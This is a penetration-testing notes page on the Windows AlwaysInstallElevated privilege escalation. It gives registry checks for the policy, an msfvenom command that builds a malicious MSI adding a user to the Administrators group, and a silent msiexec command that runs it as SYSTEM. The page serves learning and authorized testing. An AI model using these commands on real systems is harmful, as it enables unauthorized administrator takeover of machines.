> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/alwaysinstallelevated.md).

# AlwaysInstallElevated

AlwaysInstallElevated – Windows Privilege Escalation

`AlwaysInstallElevated` is a Windows policy setting that allows **Windows Installer packages (.msi)** to run with elevated (Administrator) privileges when invoked by a user, even if that user is unprivileged.

If both **HKLM** and **HKCU** registry values are set to `1`, any `.msi` file run by the user will execute with **SYSTEM-level privileges**.

***

### Registry Checks

#### Check AlwaysInstallElevated Values

```cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

#### Expected Output

If both return:

```
AlwaysInstallElevated    REG_DWORD    0x1
```

Then the system is **vulnerable**.

***

### Exploitation Steps

#### 1. Generate a Malicious MSI Installer

Use `msfvenom` to create a reverse shell or a privilege escalation payload.

```bash
msfvenom -p windows/exec CMD="net localgroup Administrators user /add" -f msi -o priv-esc.msi
```

Alternatively, generate a reverse shell or bind shell payload.

#### 2. Execute the Malicious MSI with `msiexec`

Run the `.msi` with **msiexec.exe**, which honours the elevated execution due to the policy.

```cmd
msiexec /quiet /qn /i priv-esc.msi
```

This will execute the payload with **SYSTEM** privileges.

***

### References

* [HackTricks - AlwaysInstallElevated](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated)
* [HackingArticles - AlwaysInstallElevated Exploitation](https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated)